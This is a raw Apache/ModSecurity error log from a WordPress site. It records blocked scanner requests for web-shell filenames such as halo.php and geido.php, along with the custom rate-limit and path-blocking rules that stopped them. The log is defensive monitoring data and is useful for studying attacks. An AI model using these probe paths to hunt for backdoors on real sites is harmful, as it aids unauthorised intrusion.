[Sat Feb 28 11:40:58.948352 2026] [:error] [pid 11791:tid 11811] [client 20.104.82.189:6447] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/up4.php"] [unique_id "aaJjymuX5e1Q32gqxH3ufwAAARI"]
[Sat Feb 28 11:40:59.363572 2026] [:error] [pid 11791:tid 11800] [client 20.104.82.189:6239] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1aa.php"] [unique_id "aaJjy2uX5e1Q32gqxH3ugAAAAQc"]
[Sat Feb 28 11:40:59.775498 2026] [:error] [pid 39184:tid 39230] [client 20.104.82.189:6381] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1aa.php"] [unique_id "aaJjy1tZF9Zd_U7easDHlQAAAEs"]
[Sat Feb 28 11:41:00.189634 2026] [:error] [pid 52460:tid 52474] [client 20.104.82.189:6235] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1aa.php"] [unique_id "aaJjzLLWOogAgHGh62ThTAAAAYs"]
[Sat Feb 28 11:41:00.608552 2026] [:error] [pid 22194:tid 22202] [client 20.104.82.189:6265] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1aa.php"] [unique_id "aaJjzH6mbajs3bzQGysnxwAAAUY"]
[Sat Feb 28 11:41:01.022644 2026] [:error] [pid 11791:tid 11813] [client 20.104.82.189:6262] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aaJjzWuX5e1Q32gqxH3uhAAAARQ"]
[Sat Feb 28 11:41:01.440480 2026] [:error] [pid 11791:tid 11810] [client 20.104.82.189:6149] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aaJjzWuX5e1Q32gqxH3uhgAAARE"]
[Sat Feb 28 11:41:01.851776 2026] [:error] [pid 39185:tid 39254] [client 20.104.82.189:6190] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aaJjzRVE-FfM89u7BQZ9XgAAAIg"]
[Sat Feb 28 11:41:02.266290 2026] [:error] [pid 39185:tid 39256] [client 20.104.82.189:6323] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aaJjzhVE-FfM89u7BQZ9YAAAAIo"]
[Sat Feb 28 11:41:02.681966 2026] [:error] [pid 11791:tid 11796] [client 20.104.82.189:6492] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtz.php"] [unique_id "aaJjzmuX5e1Q32gqxH3uiAAAAQM"]
[Sat Feb 28 11:41:03.093248 2026] [:error] [pid 39185:tid 39253] [client 20.104.82.189:6537] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtz.php"] [unique_id "aaJjzxVE-FfM89u7BQZ9aQAAAIc"]
[Sat Feb 28 11:41:03.511082 2026] [:error] [pid 39185:tid 39246] [client 20.104.82.189:6220] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtz.php"] [unique_id "aaJjzxVE-FfM89u7BQZ9bgAAAIA"]
[Sat Feb 28 11:41:03.929979 2026] [:error] [pid 39185:tid 39260] [client 20.104.82.189:6186] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtz.php"] [unique_id "aaJjzxVE-FfM89u7BQZ9cQAAAI4"]
[Sat Feb 28 11:41:27.229669 2026] [:error] [pid 11791:tid 11793] [client 20.104.82.189:6283] [client 20.104.82.189] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/certificates/index.php"] [unique_id "aaJj52uX5e1Q32gqxH3uuwAAAQA"]
[Sat Feb 28 11:41:44.774927 2026] [autoindex:error] [pid 39292:tid 39301] [client 20.104.82.189:6342] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 11:41:53.478743 2026] [:error] [pid 39292:tid 39297] [client 20.104.82.189:6342] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/halo.php"] [unique_id "aaJkAaIAO5fN7BxyqcGz7QAAAMM"]
[Sat Feb 28 11:41:53.901283 2026] [:error] [pid 11791:tid 11801] [client 20.104.82.189:6183] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/halo.php"] [unique_id "aaJkAWuX5e1Q32gqxH3u6wAAAQg"]
[Sat Feb 28 11:41:54.343941 2026] [:error] [pid 39185:tid 39250] [client 20.104.82.189:6172] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/halo.php"] [unique_id "aaJkAhVE-FfM89u7BQZ-IwAAAIQ"]
[Sat Feb 28 11:41:54.754792 2026] [:error] [pid 39292:tid 39309] [client 20.104.82.189:6301] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/halo.php"] [unique_id "aaJkAqIAO5fN7BxyqcGz8wAAAM8"]
[Sat Feb 28 11:41:55.170363 2026] [:error] [pid 52460:tid 52468] [client 20.104.82.189:6165] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentytwentyfour/assets/css/geido.php"] [unique_id "aaJkA7LWOogAgHGh62Ti6gAAAYU"]
[Sat Feb 28 11:41:55.586522 2026] [:error] [pid 39185:tid 39255] [client 20.104.82.189:6151] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentytwentyfour/assets/css/geido.php"] [unique_id "aaJkAxVE-FfM89u7BQZ-LQAAAIk"]
[Sat Feb 28 11:41:56.003007 2026] [:error] [pid 22194:tid 22211] [client 20.104.82.189:6207] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentytwentyfour/assets/css/geido.php"] [unique_id "aaJkBH6mbajs3bzQGysn-wAAAU8"]
[Sat Feb 28 11:41:56.419713 2026] [:error] [pid 39184:tid 39240] [client 20.104.82.189:6189] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentytwentyfour/assets/css/geido.php"] [unique_id "aaJkBFtZF9Zd_U7easDHpgAAAFU"]
[Sat Feb 28 11:41:56.841582 2026] [:error] [pid 39185:tid 39252] [client 20.104.82.189:6381] [client 20.104.82.189] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/library/upload.php"] [unique_id "aaJkBBVE-FfM89u7BQZ-MAAAAIY"]
[Sat Feb 28 11:41:57.260684 2026] [:error] [pid 52460:tid 52478] [client 20.104.82.189:6209] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/coffee/index.php"] [unique_id "aaJkBbLWOogAgHGh62Ti7gAAAY8"]
[Sat Feb 28 11:41:57.681251 2026] [:error] [pid 39185:tid 39253] [client 20.104.82.189:6407] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/coffee/index.php"] [unique_id "aaJkBRVE-FfM89u7BQZ-MwAAAIc"]
[Sat Feb 28 11:41:58.092247 2026] [:error] [pid 11791:tid 11801] [client 20.104.82.189:6216] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/coffee/index.php"] [unique_id "aaJkBmuX5e1Q32gqxH3u-AAAAQg"]
[Sat Feb 28 11:41:58.511015 2026] [:error] [pid 39292:tid 39311] [client 20.104.82.189:6276] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aaJkBqIAO5fN7BxyqcGz9wAAANE"]
[Sat Feb 28 11:41:58.953274 2026] [:error] [pid 52460:tid 52468] [client 20.104.82.189:6294] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aaJkBrLWOogAgHGh62Ti9wAAAYU"]
[Sat Feb 28 11:41:59.370661 2026] [:error] [pid 52460:tid 52477] [client 20.104.82.189:6150] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aaJkB7LWOogAgHGh62Ti-wAAAY4"]
[Sat Feb 28 11:41:59.782780 2026] [:error] [pid 52460:tid 52487] [client 20.104.82.189:6303] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aaJkB7LWOogAgHGh62Ti_wAAAZg"]
[Sat Feb 28 11:42:00.194513 2026] [:error] [pid 52460:tid 52481] [client 20.104.82.189:6251] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dapa.php"] [unique_id "aaJkCLLWOogAgHGh62TjAwAAAZI"]
[Sat Feb 28 11:42:00.608697 2026] [:error] [pid 52460:tid 52477] [client 20.104.82.189:6223] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dapa.php"] [unique_id "aaJkCLLWOogAgHGh62TjCwAAAY4"]
[Sat Feb 28 11:42:01.018375 2026] [:error] [pid 39185:tid 39260] [client 20.104.82.189:6248] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dapa.php"] [unique_id "aaJkCRVE-FfM89u7BQZ-OAAAAI4"]
[Sat Feb 28 11:42:01.428347 2026] [:error] [pid 39185:tid 39268] [client 20.104.82.189:6196] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dapa.php"] [unique_id "aaJkCRVE-FfM89u7BQZ-OwAAAJY"]
[Sat Feb 28 11:47:40.447630 2026] [:error] [pid 39185:tid 39267] [client 211.21.61.246:44376] [client 211.21.61.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 211.21.61.246, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaJlXBVE-FfM89u7BQaBaAAAAJU"]
[Sat Feb 28 11:51:49.660673 2026] [:error] [pid 39292:tid 39309] [client 4.205.9.11:42037] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shop.php"] [unique_id "aaJmVaIAO5fN7BxyqcG3QAAAAM8"]
[Sat Feb 28 11:51:50.119751 2026] [:error] [pid 52460:tid 52466] [client 4.205.9.11:14674] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shop.php"] [unique_id "aaJmVrLWOogAgHGh62TsyQAAAYM"]
[Sat Feb 28 11:51:50.590685 2026] [:error] [pid 39183:tid 39211] [client 4.205.9.11:15323] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shop.php"] [unique_id "aaJmVhCf4HvhVePw3LbcrAAAABM"]
[Sat Feb 28 11:51:51.097273 2026] [:error] [pid 52460:tid 52467] [client 4.205.9.11:56041] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shop.php"] [unique_id "aaJmV7LWOogAgHGh62Ts0QAAAYQ"]
[Sat Feb 28 11:51:51.660478 2026] [:error] [pid 11791:tid 11814] [client 4.205.9.11:38747] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cxxuv.php"] [unique_id "aaJmV2uX5e1Q32gqxH30HgAAARU"]
[Sat Feb 28 11:51:52.125917 2026] [:error] [pid 39185:tid 39258] [client 4.205.9.11:38724] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cxxuv.php"] [unique_id "aaJmWBVE-FfM89u7BQaFIQAAAIw"]
[Sat Feb 28 11:51:52.582246 2026] [:error] [pid 39185:tid 39256] [client 4.205.9.11:56020] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cxxuv.php"] [unique_id "aaJmWBVE-FfM89u7BQaFJQAAAIo"]
[Sat Feb 28 11:51:53.075541 2026] [:error] [pid 39185:tid 39269] [client 4.205.9.11:14684] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cxxuv.php"] [unique_id "aaJmWRVE-FfM89u7BQaFKAAAAJc"]
[Sat Feb 28 11:51:53.600007 2026] [:error] [pid 39185:tid 39253] [client 4.205.9.11:38783] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/b.php"] [unique_id "aaJmWRVE-FfM89u7BQaFMAAAAIc"]
[Sat Feb 28 11:51:54.133767 2026] [:error] [pid 39185:tid 39256] [client 4.205.9.11:42653] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/b.php"] [unique_id "aaJmWhVE-FfM89u7BQaFNwAAAIo"]
[Sat Feb 28 11:51:54.578273 2026] [:error] [pid 52460:tid 52474] [client 4.205.9.11:56058] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/b.php"] [unique_id "aaJmWrLWOogAgHGh62Ts2wAAAYs"]
[Sat Feb 28 11:51:55.060482 2026] [:error] [pid 22194:tid 22197] [client 4.205.9.11:15317] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/b.php"] [unique_id "aaJmW36mbajs3bzQGysrgQAAAUE"]
[Sat Feb 28 11:51:55.561495 2026] [:error] [pid 52460:tid 52479] [client 4.205.9.11:38749] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gi.php"] [unique_id "aaJmW7LWOogAgHGh62Ts4wAAAZA"]
[Sat Feb 28 11:51:56.111212 2026] [:error] [pid 52460:tid 52473] [client 4.205.9.11:42004] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gi.php"] [unique_id "aaJmXLLWOogAgHGh62Ts6AAAAYo"]
[Sat Feb 28 11:51:56.547106 2026] [:error] [pid 39292:tid 39310] [client 4.205.9.11:38756] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gi.php"] [unique_id "aaJmXKIAO5fN7BxyqcG3QQAAANA"]
[Sat Feb 28 11:51:56.991496 2026] [:error] [pid 39185:tid 39266] [client 4.205.9.11:14711] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gi.php"] [unique_id "aaJmXBVE-FfM89u7BQaFPQAAAJQ"]
[Sat Feb 28 11:51:57.451947 2026] [:error] [pid 39292:tid 39303] [client 4.205.9.11:38729] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/e0v9e95c.php"] [unique_id "aaJmXaIAO5fN7BxyqcG3RAAAAMk"]
[Sat Feb 28 11:51:57.893471 2026] [:error] [pid 52460:tid 52486] [client 4.205.9.11:28668] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/e0v9e95c.php"] [unique_id "aaJmXbLWOogAgHGh62Ts7QAAAZc"]
[Sat Feb 28 11:51:58.319399 2026] [:error] [pid 52460:tid 52474] [client 4.205.9.11:14703] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/e0v9e95c.php"] [unique_id "aaJmXrLWOogAgHGh62Ts7wAAAYs"]
[Sat Feb 28 11:51:58.745063 2026] [:error] [pid 39185:tid 39270] [client 4.205.9.11:62427] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/e0v9e95c.php"] [unique_id "aaJmXhVE-FfM89u7BQaFQQAAAJg"]
